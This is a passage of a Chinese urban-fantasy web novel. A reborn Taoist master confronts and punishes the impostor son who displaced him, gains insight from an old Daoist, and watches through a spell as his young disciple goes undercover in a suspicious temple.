段安洛放下手机去洗漱,回来时早餐已经摆好,司苍挂断电话,面无表情的吃饭。 段安洛也不客气,坐下就吃。 司苍看着眼前这个死去五百多年的人坐在自己对面,目光不自觉地停留在段安洛身上,顺手递了双筷子给他。 段安洛接过筷子看了看,又放下了,吃馅饼用什么筷子? 他直接用手捏起一个馅饼,咬了一口后边嚼边对司苍竖起大拇指:这馅饼真好吃。 司苍发现段安洛吃饭的姿态格外赏心悦目,举手投足间都透着优雅,是那种刻在骨子里,想改都改不掉的气质,让人不禁怀疑他的出身。 目光下移,落到他的手上,手指修长,白皙,纤细,捏着馅饼时骨节的形状都比别人好看。 此时那好看的手指上沾了油脂,指甲泛着温润的光泽,粉嫩得让人忍不住想 司苍扶额,强迫自己停止胡思乱想,这个古董,有毒。 段安洛都快吃完一个饼了,发现司苍懊恼的表情,催促他:“赶紧吃啊,一会还有正事呢。” 说着他喝了口豆浆,皱眉道:“下次买豆浆别放糖,我不喜欢甜豆浆。” 司苍挑眉:“我是你仆人?” 段安洛回答的理直气壮:“万一有下次呢?这叫防患于未然。” 司苍沉默片刻,点了点头算是答应。 饭后直奔公会,路上白子越就发信息,说他已经在关押段明轩的门口等着了。 段安洛有些担心:“他真的不会泄露你们的秘密吗?就这么把定位发给我?” 司苍皱了皱眉,“他觉得你是自己人。” 至于怎么算的自己人,司苍没说,他觉得白子越就是欠打,犯病了打一顿就好了。 而且白子越能有个能力,不管是人还是动物,只要是活着的,他能一眼分出好坏。 到了公会后,段安洛和司苍分开,他去看段明轩,司苍去找那个药剂师。 这是段安洛第一次见到段明轩,和段家人的长相完全不同。 段铎海那张脸,虽然他看见就生气,但长相没得说,命门宽大,眉须清长,印堂平阔,鼻梁高耸,是钱权俱得,富贵到老的面相。就连他鬓角的白发,都是岁月给他增添的成熟魅力,标准的帅大叔。 林婉秋更不必说了,五官精致,性情温婉,优雅的像一副完美的画卷。即便上了年岁,眼角添了细纹,依旧能让无数年轻的贵妇自惭形秽。 虽然没见过段安瑭,段安洛知道自己的长相,想来他那个便宜大哥应该也不差。 段明轩长相只能算中等偏上,不仅长相,连气质都和段家人格格不入。 段家人给人的感觉是光明磊落,不论是阴谋还是阳谋,输赢各凭手段。 而段明轩看人的时候总是带着打量,表面看着礼貌,实则小心翼翼,不敢得罪人。低头的眼里又满是算计,看谁都是权衡利弊。 怪不得刚开始的时候,段家找了十几家医院做检测,到最后还是不愿意相信他是亲生的,只能把原因怪在段明轩吃的苦太多,才被养成这样。 现在所有人的重点都放在那个药剂师的身上,段明轩这里反而没人管,审讯室内里有桌椅,他却蜷缩在墙角,双眼通红,嘴里不停嘟囔着什么,精神明显不正常。 白子越提醒道:“不刺激他还能老实点,一说话就炸毛,我给你演示一下。” 说完他突然跳到门口,指着段明轩喊:“段明轩,你个穷逼!” 只见墙角的人像弹簧般蹦起来,疯狂冲到门口,对着白子越咆哮:“你才穷逼!你才没钱!我是段家的人!我爸有的是钱,他的钱都是我的!你根本没见过这么多钱!” 他双眼充血,咬牙切齿的模样像个疯子。 白子越耸耸肩:“看吧,就这德行。据说药效能持续一个月,像疯了一样。” 段安洛撇嘴:“真可怕。” 他一开口,段明轩就像被按下开关,红着眼死死盯着段安洛:“你怎么在这儿?” 段安洛饶有兴致地打量着他狼狈的模样,越看越想笑,“废话,当然是来看你倒霉的样子。” 这个态度再次刺激了段明轩:“流浪狗!你就该去做流浪狗!你为什么要回来?那两口子真该死!竟然真的把你接回来了!我才是他们亲生的,他们让我吃了这么多年的苦,凭什么对你这么好?他们这么偏心就该下地狱!都该死!他们都该死!” 段安洛堵住耳朵,看着他歇斯底里地骂,等他骂累了,又轻飘飘戳他一下:“你才该死呢,你是个冒牌货,我才是真的,你是假的!” 这场面活像真假美猴王,只不过真悟空气定神闲,假悟空疯疯癫癫,暴躁的跳脚,却被关着出不来。 段明轩红着眼睛砸门,“你才是假的!你是被抱错的野种!你连亲爹妈都不知道是谁!” 段安洛再次捂着耳朵,等段明轩骂完后,又暗搓搓地戳他一下:“你个假货,你永远别想拿到段家的钱,等你死了,你连个像样的骨灰盒都买不起,你只能用塑料袋。” “我要杀了你!啊啊啊啊!”段明轩被气得彻底失控了,疯狂地用身体撞门,门上的警报器立刻尖锐地响了起来。 有人从隔壁打开门,“怎么回事?” 白子越笑嘻嘻地回道:“没事儿,我哥在逗猴子玩呢~” 隔壁的人摇了摇头,“他贪欲太重,疯魔了,那个药伤了脑子,即便好了也会留下狂躁的毛病。” 段明轩罪不至死,他原生父母那边他们也调查了,都算不上善良的人。 段明轩进了段家之后,暗恨他们以前对他不好,没少给他亲生父母使绊子。以后他再带着这个病回去,生活可想而知。 一个人的力气是有限的,特别是精神狂躁的情况下,很快段明轩就没了力气,直接瘫坐在地上。 段安洛抬手,轻轻敲了敲玻璃窗:“喂,冒牌货,给你看个好东西。你认字吗?” 段明轩扶着门摇摇晃晃站起来,布满血丝的眼睛恶狠狠地瞪着段安洛,恨不能爬出来咬死他。 段安洛将亲子鉴定报告贴在玻璃上,“看清楚了吗?你就是个冒牌货,跟段家半毛钱关系都没有。” “你胡说!”段明轩再次被刺激到,疯狂的捶打着玻璃,“是他们抱错了!我才是段家亲生的!段家欠我的!那些钱都该是我的!等我出去……等我出去……” 段安洛突然想起网友常说的那句话:多少年的老矿工都挖不出你这么纯的神经。 他决定回去就下载个“挖神经”的游戏,看看能不能挖出比段明轩更离谱的神经病。 等段明轩稍微冷静些,段安洛抬手,隔空一点,一道无形的力量瞬间定住了段明轩躁动的魂魄,“是谁告诉你,你是被抱错的?” 段明轩的眼神逐渐涣散,呆滞地说:“是,是卖药的那个人……我毕业找不到工作……爸妈家里天天吵架……那天我遇到一个穿黑衣服的人,他说我是豪门被抱错的孩子,只要能回去认亲……就能改变命运……” 段安洛明白了,那个药剂师利用了段明轩的贪婪。 “如果你不那么贪心,”段安洛轻声说:“你会在段家过得很好。” 段安洛的手一离开,段明轩突然激动起来,“那本来就是我的!” 段安洛冷笑一声,突然伸手虚抓,直接把段明轩的一缕魂魄从身体里扯出来,然后对着他的胸口就是一拳,“这一拳,是你打老头子的。” 不等段明轩惨叫完,段安洛又掐住他的脖子,摁着后脑勺往墙上砸,“这一下,是你推她。” 那个楼梯他看了,林婉秋要是真从上面摔下来,不死也会变成植物人。 段明轩的魂魄都快被撞散了,眼看着透明了不少,段安洛抬手,“聚魂!安魂!定!” 把对方的魂魄固定之后,他又把段明轩拎起来,“还有,我的。” 确切说,是原身的。 段安洛两指并拢,在空中画出一道血红色的符咒,“从今往后,再起贪念,神魂俱裂。” 说完,他将那缕魂魄粗暴地塞了回去。 对方招惹他是因,他动手是果,谁也不能干预。 待段安洛转身时,就发现白子越和隔壁的工作人员全都目瞪口呆地看着他。 “没事,活着呢。”段安洛拍拍手,像拍掉手上的脏东西,“以后你们需要这种服务可以找我,我收费很便宜的。” 司苍不知道什么时候站在走廊的尽头,“又乱来?” 段安洛冲他眨眨眼:“这不是帮你们干活吗?我还不要工资呢,我助人为乐。” “嫂……咳咳,哥!”白子越差点咬到舌头,赶紧改口,“你要去看下一个吗?咱们赶紧走吧,要不然会长该来了。” 段安洛挑眉:“扫哥是什么新型称呼?” “哎呀口误口误~”白子越摆摆手,白毛小辫子跟着晃悠,“那个巫医身上全是药,为了方便审讯,他们直接把魂魄抽出来绑着呢。要不要去看审魂?特别带劲!” 白子越想赶紧把他骗走,要不然会长要来了。 段安洛注意到他一直嚼东西,“你偷吃什么呢?” “上等龙井!”白子越献宝似的从兜里掏出一把茶叶,“尝尝?老头儿办公室拿的。” 段安洛捏了一片放进嘴里,茶叶在舌尖化开清冽的香气,“这茶叶确实不错。” 不过茶叶能当零食吃? 白子越显摆道:“这二两茶叶花了会长半个月的工资呢!” “你该不会是偷的吧?” “怎么可能!我这是光明正大从会长桌上拿的!” 段安洛忍俊不禁:“有你是他的福气。” 白子越正要接话,突然脸色大变,会长的身影出现在走廊尽头,他手忙脚乱地把茶叶塞回口袋,拉着段安洛就跑。 段安洛伸手,“再给我一点,回去泡茶喝。” 等会长走到门口的时候,现场一个人都没了。 司苍跟在段安洛后面,声音低沉:“去看看那个药剂师吗?是我连累你了。” 段安洛摆摆手,“嗨!你的命格和功德都给了我,我也没吃亏。” 还没确定他和原主就是一个人呢,原主的记忆里根本没有司苍这个人,就像一本按部就班的小说,他这个反派被害、杀人、被抓、被杀……惨不忍睹。 而且杀原身的正义之士都被他写在小本子上,他已经收了一个当干儿子,后面还有一大串等着他去收。 司苍冷静地指出,“你之前的性格有明显的缺陷,是魂魄不全的表现。” 段安洛嗤笑一声:“哪怕只是我的一个脚趾甲盖,都不可能被人抓走!” 司苍嘴角抽了抽,没法讲道理,“一会儿带你去见个人,他应该知道怎么回事。” 段安洛拒绝,“不去,死都不去。” 审讯室里,药剂师的魂魄被抽离出来,像标本一样钉在墙上。灵气凝聚的锁链缠绕在他的四肢和脖颈上,旁边的控制台上还有个醒目的红色按钮。 白子越介绍:“看到没?下面的箱子里储存了大量的灵力,一按这个按钮,他就会魂飞魄散。” 段安洛若有所思地点点头,哦~这么用的。 药剂师睁开浑浊的眼睛,看到段安洛和司苍站在一起,发出一阵嘶哑的笑声:“哈哈哈……你们得谢谢我,给你们牵的红线。” 段安洛嫌弃地撇嘴:“吹什么牛皮?你没这能耐。” “哈哈……!”药剂师还想嘲讽几句,笑声突然停了,因为他看见段安洛的手指摸上了那个红色的按钮。 他紧张的问:“你想干什么?” 段安洛笑了笑,“别紧张,我擦擦灰。” 药剂师笑不出来了,“你不就是想知道为什么选中你吗?我的客户需要一个阴年阴月阴日出生,且是九阴之体的人,你家人把你保护得太好了,出门都有人接送,我只能想办法把你赶出去。没想到,那个傻子居然真信了。” 段安洛挑眉:“不是因为我叫段安洛?” “跟你的名字没关系,我要的是你的九阴之体,九阴化煞,怨气冲天。” 命已经不能自己掌控,他已经没什么好隐瞒的了,“你可以慢慢腐蚀他的命格,十年、二十年……他现在再强,也有死的时候,等他死了,被镇压的上古大妖和恶鬼都会被放出来。” 说着他不解的问:“你为什么没有变成厉鬼?为什么还活着?” 段安洛笑着说:“是不是很想知道?” 作为一个研究药剂的人,有一颗不断钻研的心,不知道真相真的很难受。 段安洛挑眉一笑,“叫爹就告诉你。” 30 心境提升一大截 司苍把段安洛拉到一间静室,一个盘着发髻、头发胡须全白的老道正坐在三清神像下打坐。一件洗得发白的道袍一丝不苟地穿在消瘦的身体上,呼吸清浅,一动不动,就像一座雕塑。 这里的磁场很干净,有包容一切的自然之气,段安洛浮躁的心,一下子就沉静下来。 老道缓缓睁开眼,目光落在段安洛的身上,一双好似看透万物的眼睛里闪过震惊。 司苍把段安洛往前一推,“周师父,您看看他的神魂是怎么回事。” 段安洛惊讶:师父?你不是说你师父都死了吗? 老道好像看出他的想法,笑着说:“我可担不起他叫师父,只不过在他小的时候指点过两次而已。” 老道站起身,道袍上移,段安洛才看到他的腿——两条假腿,反射着冰冷的色泽。 老道察觉到他的目光,不在意地说:“相比你三魂七魄被撕裂的痛,这不算什么。” 段安洛对着老道士行了一个道家礼,老道士厉害。 老道却侧身躲开这一礼,敬重地对段安洛施了一礼,这一礼两人心知肚明,老道认出来段安洛的身份。 这反而让段安洛不好意思了,如果他没看错,这老道的年纪能大他六倍。 周道长请他们坐下,“你的魂魄被撕裂过,按理说会魂飞魄散,天道却护住你一丝生机,强行让你转世。只是魂魄残缺,和普通人比稍微有点差别。” 老道打量着他的眉间,“现在,你残缺的魂魄补齐了。司苍也因为你破了死劫。前尘过往皆是云烟,以后种种都会随机遇而变,都不必执着。不管什么时候,行善积德都是修行正道。” 段安洛点了点头,心里豁然开朗。 老道长说得对,他没必要纠结这么多。 他本该魂飞魄散,天道却让他重生,还贴心地为他准备了父母亲人。 他没必要去抵触天道安排的这一切。不管是之前魂魄残缺的自己,还是父母亲人,他都可以坦然接受。 好与不好,皆有因果定数。 既来之,则安之。 既有之,则纳之。 上善若水,水善利万物而不争,夫唯不争,故无尤。 修行、修心,随心而动,道法自然。 想到这里,段安洛突然有种灵台清明、浑身轻松的感觉。 紧接着,无数灵气窜进灵台,主动修复他神魂上的伤口,连病弱的身体都开始感觉到暖意。 段安洛顺势盘腿坐好,他顿悟了。 眨眼之间,周道长就看到刚才还在说话的段安洛入定了。周围的灵气自发地往他身体里钻,修复着他这具伤痕累累的身体。 现在虽然灵气复苏,却远没有达到以前灵气充足的地步,现在段安洛的头顶上,竟然形成一个灵气漩涡。 老道感慨地道:“这天赋,太恐怖了!” 说完他看向司苍,“我那个不成器的弟子,说你命格极贵,能护佑苍生。虽然他好心办了坏事,但他这点没算错。”他意味深长地看了眼段安洛,又看了眼司苍,说了句让人摸不着头脑的话:“护佑苍生,护佑苍生啊。” 说完他缓缓走出静室,一直到走廊的尽头,再也忍不住,“噗”的吐出一口血。 周道长脸色惨白的擦了擦嘴上的血迹,他在最后窥破一丝天机,知道得太多了。 段安洛这一入定,就过去了三个多时辰。醒来的时候周道长还在打坐,司苍却不在这里。 他查了一下,神魂上的伤虽然没有痊愈,但伤口已经没有那么明显了。头不疼了,身上也有了力气。 他捏了捏拳头,感觉了一下身上恢复的灵气,竟然恢复了十分之三! 如果司苍没有强行把他带过来,他也没有今天的机缘,段安洛甩了甩手,算了,他不跟武夫计较。 段安洛本想再问问周道长,原身留下的书中记忆是怎么回事,发现周道长已经入定,他没好意思再打扰,感激地朝着对上行了一礼,悄悄出去后,给对方带上了房门。 然后给司苍发了条信息:你人呢? 段家的事情解决了,自己的身世明了了,心境又提升了一层,伤也好了不少,身上还有力气了。今天开心,他要吃点好的。 发完信息之后,段安洛又把司苍的备注从“一等打手”改成“武夫”。 武夫:下楼。 段安洛在楼下等了两分钟,司苍把车开过来,段安洛上车后一边扯安全带一边说:“结果出来后给段家送一份,我先不回去了。” 他这一行,五弊三缺。五弊:鳏、寡、孤、独、残;三缺:钱、命、权。别的玄术师就犯一个,他上辈子不知道犯了几个,反正只有钱能留得住。 这辈子更离谱,钱也没了。 不知道这些会不会再应验,他自己可以无所谓,哪里死了哪里埋,但是家人不行,他怕再克死他们。 司苍的目光扫过他的脸,病秧子脸上竟然有了血色,身上的生机也强了不少,没有一戳就死的病态了。 “先去吃饭吧,饿了。”段安洛看了眼附近,“有没有好吃的?我请客,但是我只有134块钱。” 司苍把车开到一家私家菜馆,停在专属车位上,段安洛下车之前,先问:“贵吗?” “不贵。” “那就行。” 老板显然认识司苍,一来就把俩人引到包间,不等他们点菜,老板就亲自端过来六个菜,一份汤,“咱们店里的新品,二位尝尝。” 司苍显然习以为常,熟练的给段安洛递筷子。 段安洛顺手接过来:这是司苍自己愿意请的,可不是他不请。 他本想带司苍去吃麻辣串串的,科技与狠活都多多的那种。 吃完饭后,司苍直接送段安洛回家,到了玄门附近的小吃街,段安洛又下车买了一大堆吃的,烤冷面,烤鱿鱼,淀粉肠,烤鸡腿,麻辣小龙虾,还有几个小零食。 最后钱包余额:0.5 很好,留着生小的。 司苍看了眼他的肚子,“你没吃饱?” 段安洛含笑地说:“给源儿和小白带晚饭。” “你给白龙吃这个?” 段安洛摆摆手,“放心吧,我很会养的,我有经验。” 以前没饭吃的时候,小白连草根都啃,现在也活到这么大了。 司苍对小白哪里都好,就是太精细了,都把孩子养废了。 剩下的路他没让司苍送,他就想脚踏实地的走一走,感受一下身体恢复到什么程度。 现在的气温有三十七度,高温也挡不住人们对吃的热情,路上行人不绝,三五同行的往小吃街走。段安洛背对着夕阳,顶着高温在路上走了十多分钟,出了一身汗,心情雀跃的走回家。 司苍看了一会儿,确定他不会突然晕死在路边,这才开车离开。 “源儿?小白?我回来了!”段安洛推开房门,就看到客厅摆着一个铁笼子,里面关着三只黄鼠狼。 小白身体盘成一个大圈,把笼子圈在身体内侧。那三只黄鼠狼全都挤在笼子的角落,瑟瑟发抖。 看到段安洛回来,小白开心地爬过去,用头顶段安洛的手。 段安洛揉了揉它的脑袋,小白开心地爬回去,继续盯着那三只黄鼠狼。 看到这一幕的黄鼠狼,天都塌了:这条蛇被这个人类盘得跟狗一样,他本人得凶残成什么样? 江源从厨房跑出来:“师祖回来了?我正打算做凉面。” “不用做了,我买了饭。”段安洛把一大堆吃的放在桌子上,指着笼子问:“怎么变成三只了?” 江源指着那个黄毛:“这是您抓的那只。中间这个颜色浅一点的是它爷爷。这个颜色最浅的是它爷爷的三舅姥爷。” 总之就是来一只抓一只,抓了三只,并且都是本体。 灵体不能离开身体太久,所以它们把小孙子的身体也带过来了。 江源在二手网上买了个狗笼子,小白把它们都扔进去。要不是江源拦着不让吃,它们早就没了。 最后那一只的体型要比其他两只大得多,并且身上的毛色最浅,耳朵两边已经出现白毛。油光水滑,眼睛咕噜噜乱转,看起来心眼子最多。 段安洛蹲下身,认真地问:“你还有爷爷吗?你爷爷是不是白毛?” 那个道行最高的还没有说话,最小的那只开口了:“你最好放了我们!老祖宗不是你们能惹得起的!” 段安洛点头:“知道了。” 他洗完澡就去搓绳子。 两个大的摁住小的一顿揍:不肖子孙!不把全族都害死了,你是不死心! “源儿,明天去买十斤鸡腿,让它们三个烤了,你拿去街头卖掉。”晚上,段安洛一边搓绳子,一边嘱咐江源,现在要想办法赚钱,它们最起码也要把玻璃钱赚出来,才能放它们走。 那个老祖宗就不一定了,如果是白毛的,段安洛打算把它抓了,收做保家仙。 牌子他都想好怎么写了,左边:在深山修身养性。右边:出古洞四海扬名。头顶横批:有求必应! 江源吃的腮帮子鼓鼓的,一边吃一边投喂小白,听到段安洛的话赶忙回应:“您放心,明天周六,我白天写作业,晚上就去摆摊。” 此时江源所在的分工会的会长,在大群里收到一条信息。 爱心跑腿,使命必达:各位分会长,谁家有看起来傻乎乎的,呆呆的,一看就很好骗的高中生?急用! 贫僧六根未净独爱中华:傻乎乎能考上高中? 定海丰观观主:现在的高中生,比大人的心思都活络,再说了本来会里学生就少,都被分配进学校暗中保护同学了,哪有呆学生? 湖涞崖洞主:傻乎乎的没有,皮猴子要不要?能作能浪能吃苦,还抗揍。 死道友不死贫道之爱国者联盟:我先问一下,找呆的干什么?危险吗? 31 什么菩萨都能被气走 爱心跑腿,使命必达:我这边失踪了三个高中生,尸骨无存,连魂魄都找不到。我们想找个看起来好骗的学生当鱼饵,看能不能把幕后的人钓出来。你们放心,我们会安排人跟着,保证安全。 死道友不死贫道之爱国者联盟:这么说的话,我这里有一个,能力不行,还有点憨,你们要保证孩子的安全,费用你们付。 爱心跑腿,使命必达:没问题!快,急用! 紧接着,江源就接到一个电话:“江源同学,周末有空吗?” 江源不疑有他,“周六没空,周六我要去摆摊。” 他家分会长:“你摆摊才赚几个钱?这次有一个为你量身打造的任务,两千块钱,去不去?” 江源眼睛一下子就瞪圆了,两千?! 他扭头看段安洛:“师祖!两千!卖多少炸鸡腿才能卖出两千块钱啊?” 段安洛掐着手指头算了算,随后嘴角直抽,“想去就去吧,这活除了你,别人还真干不了。” 江源立马答应下来,吃完饭,他赶紧把家里收拾干净,早早就躺下了。明天要早起,赚钱去! 第二天早上5点,一辆七座的黑色SUV准时开到街口,确认身份后,江源跟着上了车。 为了保证“鱼饵”的安全,江源的队长也亲自跟车,主要是怕这个“呆头鹅”警惕性太强,不肯跟陌生人走。 江源看着愣,但防范意识意外地强,他师父从小就教他不能跟陌生人走,不能吃陌生人东西,江源记在了灵魂里,绝对不会跟陌生人离开。 队长叫许强,三十八岁,看江源跟看傻儿子一样,他在车上简单交代了任务,不需要江源做什么特别的事,就在指定区域到处转转。尤其是人少的地方,看看有没有人主动搭讪。 江源问:“队长,我要表现出傻乎乎的样子吗?” 许强拍了拍他肩膀,认真地说:“不用演,你正常去就行,我给你的东西一定要戴好,别丢了。” 其他人也默契地点头附和:“对,你千万别演,演的话就有点假了。” 江源:“……” 我怀疑你们骂我,但我没有证据。 到达目的地时正好7点,江源已经在车上解决了早餐,吃了三个鸡蛋灌饼,一杯小米粥,能量已经补满,等他们把车停在附近的停车场后,他摩拳擦掌的下了车。 他在指定区域转悠了一个多小时,犄角旮旯,人少的地方都去了一遍,搭讪的人没看见,流浪猫倒是看见两只。 江源逛累了,队长还没有让他回去的意思,他只能顺着这条街继续往前走,一直走到街的尽头,眼前豁然出现一个大院。 黄墙红瓦,高大的木质大门上方挂着一块牌子:吉祥天女庙。 江源好奇地往里瞥了一眼,院落中央立着一尊高大的菩萨雕塑,手拿莲花,面带微笑,庄严肃穆。 下方摆放着香炉和蒲团,有人正在参拜,香火旺盛。 两侧种了些松树,还有两个卖香火、长明灯、许愿牌的摊位。 江源一看是佛家,自然就进去了。玄门道、佛、仙三门同修,遇见菩萨肯定要拜一下。 吉祥天女这个名号,江源是知道的,她是佛教中的掌管幸福和财富的女神,是佛教的护法神之一。也被称为吉祥女神、大功德天、宝藏天女,藏语中称为班达拉姆,在佛教中地位很高。 拜佛的人里很少会见到年纪这么小的人,而且他参拜的姿势很标准,表情虔诚,这不由得让人多看他几眼。 拜完之后,江源抬头,就看到菩萨的表情有些怪异。一般来说,吉祥天女的表情都是慈悲的,偶尔也能看到愤怒,但是不管哪个形态,都没现在这样,眯着眼睛有种阴险,怨毒的感觉,让人感觉不适。 虽然江源的本事没学多少,玄门特有的感应能力还是让他察觉到不对劲。 这菩萨好吓人! 他想出去后告诉队长,一转身就发现侧门门口有很多人,大多是老头儿老太太,粗略一数有三十多个。 他们手里都拎着购物袋,神情虔诚地听着一个大叔讲课。 大叔正认真地宣讲教义:“信奉吉祥天女,诚心向善,助人为乐,女神就会保佑我们平安健康,百病不侵。” 调查组,就是看见什么都要查一下,江源凑过去,问坐在最后排一位老太太:“奶奶,你们这是在干吗呢?” 老太太看他长的乖巧,跟自己小孙子年纪差不多,嘴角含笑的跟他解释:“老师讲课呢,好好听,一会儿送鸡蛋。” 江源眼睛一亮,还有这么好的事?佛教送鸡蛋,他还是第一次听说。 师父教过他,跟人打听事的时候不能只问一个,他又问另一边的人:“大姨,听课真送鸡蛋吗?” 大妈抹了把汗:“对啊,要不然谁来啊?这天怪热的。” 对大妈们而言,信不信的无所谓,信什么也无所谓,送鸡蛋才是硬道理。 旁边另一位老太太插话:“听说挺管用的,有个人得了癌症,信了半年,治好了!” 江源惊讶:“信佛能治癌症?” 老太太摇着手里的蒲扇,“我也不清楚,不过像头疼脑热的小毛病确实管用。上个月我偏头疼,吃药也不顶事,在这里坐了一天,回去就不疼了。要不然我也不会信这个。” 江源一脸佩服,真厉害! 他身上带着定位器,车里的人发现他停在吉祥天女庙好几分钟没动了,立刻警觉起来。 特别是许强,“吉祥天女庙?你们之前查过吗?” 跑腿公会的人说:“查了,没发现问题。” “这个天女庙什么时候建的?” “快二十年了吧,是个有钱的老板私人建造的,自己请了大师傅,在这里烧香念经。”他口里的大师傅,就是和尚的意思。 “之前香火确实好过一阵子,很多人初一、十五来这里上香,听经,放生,后来突然就不火了。” 另一个人说:“能火才怪!你知道他们那些信徒干什么吗?有人为了放生,去捕捉鸟类,狐狸,黄鼠狼等小动物,到时候卖给信徒。 等他们放生之后,立马再抓回来,接着卖。 还有更过分的,有人卖,就有人吃,就在菩萨的注视下把小动物杀死,而且不是一两只,有时候是上百只的杀。 我就记得,有个男的进去上了香,许了愿,出来就买麻雀吃。从笼子里掏出来的时候捏着鸟头,往地上摔,一口气摔死几百只,有钱,任性,买!还有那蛇,被剁了头,扒了皮,身体还在塑料袋里扭……”说到这里,这人火气都上来了,“那时候我还上学呢,跟我师父来这边调查,气的我们跟那些人吵了一架,差点打起来。菩萨脾气再好,也不会保佑这帮畜牲!” “反正慢慢的,香火就不行了,特别是前两年,人们几乎都忘了这里有个庙。” “本来华夏人就不养闲神,你管用,我就拜你,你不管用,我就换一个拜。国内这么多神都拜不过来,更何况是国外的神,要不是那个老板有钱,这里早就荒废了。” “这半年我看着香火又起来了,人越来越多了。” …… 江源跟着听完课之后,见有人搬出几筐鸡蛋,开始发鸡蛋了,江源主动加入领鸡蛋的队伍。 发鸡蛋的人注意到江源是个生面孔,打量了他几眼。 江源以为对方不想给他,赶紧声明:“我刚才也听课了。” 旁边一个中年负责人示意:“给他。” 江源拿到沉甸甸的十个鸡蛋,开心地道谢:“谢谢阿姨!谢谢大叔!” 他转头问旁边的大妈:“大姨,您怎么不领啊?” 大妈一脸精明:“攒十次可以换一桶油!” 江源顿时羡慕了,太可惜了!离他家太远,要是近点,他每周都来。 这时,一个穿着素净长袍、戴着眼镜、气质斯文的男人走了出来,他站在众人面前,声音温和的说:“各位善信,上午好。我是新来的负责人……” 江源没兴趣听了,他领了鸡蛋就想走,这时,刚才那个中年负责人叫住了他:“小伙子,等等!填个表格还能再送三十个鸡蛋。” 江源记着自己的任务,歉意的说:“对不起,我没时间。” 中年人说:“只需要记个电话号码,填个简单的表就行,主要是记录信徒的数量,以后你不想来可以不来,耽误不了你几分钟。” 江源穿着地摊上买的大背心、大裤衩,脚上一双普通的运动鞋。现在的高中生都追求名牌跑鞋,穿什么都要有牌子,但穷人家的孩子没有选择权,不硌脚就行。 他这身打扮,加上刚才领鸡蛋时那副开心的模样,明眼人一看就知道他家境不太好。 江源歪着头想了想,四十个鸡蛋,够他和师祖吃半个月了。 他本心对佛教就不抵触,“行,我填完表再走。” 他刚答应,就见迎面走过来一个人。 那人又黑又瘦,瘦得像副骷髅架子。走路的时候左腿先抬起来,僵硬地划了个6,右腿又抬起来,往前一踢……江源震惊的看着他的步伐,发现最多也就往前挪了十厘米。 胳膊病的也很严重,左胳膊僵直地挎在身侧,呈L形,两根指甲盖都黑了的手指还别扭地比了个V。 右手拄着一根木头拐杖,关节已经红肿变形,他一步三颤,呼吸声像破车的排气管子,呼哧带喘,沙拉沙拉作响。 江源下意识退开两步,倒不是歧视对方,他是怕这人突然倒下赖上自己,他没钱赔。再就是怕有什么传染病,他身体好,他不怕,他师祖不行,别把师祖传上。 病成这样为什么还往这里跑?江源有点好奇,但终究还是那三十个鸡蛋的吸引力更大,他跟着中年人走向旁边填表。 调查表上有“学校”和“家庭情况”栏。江源无父无母,自然什么都没填。那中年人一脸心疼地问:“孩子,你是孤儿?” 江源倒不觉得自己可怜,笑着点头:“不是,还有个祖爷爷,他身体不太好。” 对方一听“祖爷爷”,脸上的同情更明显了,都叫祖爷爷了,年纪得多大?身体能好才怪,已经快入土了吧。 他同情的说:“辛苦你了,小小年纪独自支撑家里,不容易啊。” 江源不好意思地挠挠头,心想这大叔真是个好人。 “这样吧,”中年人拍拍他肩膀,语气格外和善,“我们这儿正好缺个临时打扫的小时工。别的活你也干不了,就帮忙搞搞卫生。一天给你三百块钱,还管你一顿午饭,怎么样?” 三百块!还管饭! 江源差点一口答应下来,但他想起自己的任务,强忍着诱惑说:“我给家里打个电话说一声,可以吗?” “行,你去说吧。”中年人爽快地答应了。 江源开心地跑出去,找了个没人的地方,偷偷从裤腿里掏出隐藏的通讯耳机。还没等他开口,耳机里就传来队长的声音:“留在那儿干,我觉得这里面不对劲,你自己小心点。” “好嘞!”江源屁颠屁颠地跑回去,他不知道,在他背上,一道玄门特有的降神印,正悄悄散发着独特的光晕。他那个在家里躺着刷短剧的师祖,正对他所看到的一切、所做的一切,全都身临其境,了如指掌。 “啧,啧啧~”段安洛一边撇嘴一边摇头,“四十个鸡蛋就被人骗了,真愁人啊。” 他手指捏了几个法诀,感受了一下自身的情况,随即嘱咐躺在他背后当靠枕的小白,“如果我突然睡过去,不用担心,也不用把我叫醒,我神游去了。” 伤势恢复了不少,有些能力也可以用了。如果他家孩子有危险,他就直接神魂出窍,强势附身在江源体内,来个一体双魂,祖师爷降临! 32 祖师爷附身 中年人把江源带到佛堂后面的那栋三层小楼,里面还有个小伙子正在打扫,年纪和江源相仿,个子很高,皮肤黝黑,浑身透着股不好惹的嚣张劲儿。 中年人对那个小伙子说:“小刘,这是新来的,叫江源,你带着他一起干,中午带他去食堂吃饭。楼上三层都要打扫干净,记住,地下室不要去,下面漏电,不安全。” 那叫小刘的大男生咧嘴一笑,露出一口白牙:“好嘞!” 等中年人一走,小刘立马换了个态度,颐指气使地指挥江源:“喂,新来的,这边,这边,你干!我干那边!” 江源拎着墩布,心里嘀咕:什么品种啊,这么凶? 他是来干活的,不是来跟人吵架的,江源懒得搭理对方,自顾自地闷头打扫。 小刘见他没反应,不爽地“哼”了两声,掏出手机打电话,嗓门老大:“喂,哥!我现在正劳动改造呢!我妈在这个破庙里做小时工,她今天病了来不了,提前答应人家的活又不能不干,就让我来替她,烦死了!” 正打着电话,就看见两个人抬着一个大箱子,从楼梯上路过。 江源停下动作,好奇的多看了两眼,那么大的箱子,都能把人装进去了,不知道里面装了什么。 小刘挂了电话,看他偷懒,立马冲他嚷:“看什么呢?赶紧干!别想偷懒!” 江源不高兴了,这小子是属破摩托的吧,这么欠踹。道爷忍你,是道爷懒得理你,你还没完了是吧? 他忍,不是怕打架,是不想惹麻烦,人家给钱还管饭,他就要给人家好好干活。他从小就练功,这种徒有肌肉的大个子,未必能打过他。 对方见他不服,更来劲了:“小矮子,你什么眼神啊?大叔说了,让我管着你!” 江源想到师祖箴言,看不顺眼就得干,否则道心不稳。他脾气也上来了:“我不跟你计较,你别当我是放马的。” 小刘一愣:“什么意思?” 江源没好气地呛回去:“老子放你一马,也不能总放!” “噗!”小刘被这绕口令似的骂法气笑了,“你个子不高,脾气还不小。”这么一闹,他也察觉到这个小矮子不好惹,跟小摔炮一样,还挺有意思。 江源拿起扫把,开始疯狂打扫,动作麻利,不知疲倦,仿佛是古希腊掌管扫把的神。 小刘看蒙了:人不高,耐力很强大。 江源感受到他的目光,甩过去一个挑衅的眼神,“你行吗?体力还没我好,弱鸡!” “卧槽!”小刘瞬间被点燃了,他竟然被一个又瘦又矮的家伙看不起! 他立刻像打了鸡血一样,较着劲开始疯狂干活。 